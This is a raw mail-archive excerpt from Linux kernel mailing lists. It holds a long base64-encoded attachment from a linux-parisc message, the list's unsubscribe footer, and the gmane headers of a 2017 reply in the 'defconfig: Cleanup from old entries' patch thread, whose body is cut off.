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

--45Z9DzgjV8m4Oswq--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Krzysztof Kozlowski <krzk@kernel.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.samsung-soc,gmane.linux.uml.devel,gmane.linux.ports.alpha,gmane.linux.uml.user,gmane.linux.ports.arm.omap,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCH 00/35] defconfig: Cleanup from old entries
Date: Sat, 10 Jun 2017 18:43:51 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20170610164351.7sxzvj4ojj3fbc7h@kozik-lap>
References: <20170608160836.12196-1-krzk@kernel.org>
 <CAK8P3a3bUeC3H2oNfdBedVY4UTCe8OgKbWmv46d5xfu8tC7tAg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497113080 20702 195.159.176.226 (10 Jun 2017 16:44:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 10 Jun 2017 16:44:40 +0000 (UTC)
User-Agent: Mutt/1.6.2-neo (2016-08-21)
Cc: "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Rich Felker <dalias@libc.org>, Aurelien Jacquiot <a-jacquiot@ti.com>,
 Tony Lindgren <tony@atomide.com>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Liviu Dudau <liviu.dudau@arm.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 David Howells <dhowells@redhat.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux <sparclinux@vger.kernel.org>,
 linux-hexagon@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
 Thomas Gleixner <tglx@linutronix.de>, Lennox Wu <lennox.wu@gmail.com>,
 Jonas Bonn <jonas@southpole.se>, Chen Liqin <liqin.linux@gmail.com>,
 Jesper Nilsson <jesper.nilsson@axis.com>,
 Lorenzo Pieralisi <lorenzo.pieralisi@arm.com>, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Aaro Koskinen <aaro.koskinen@iki.fi>, linux-sh@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Jun 10 18:44:27 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
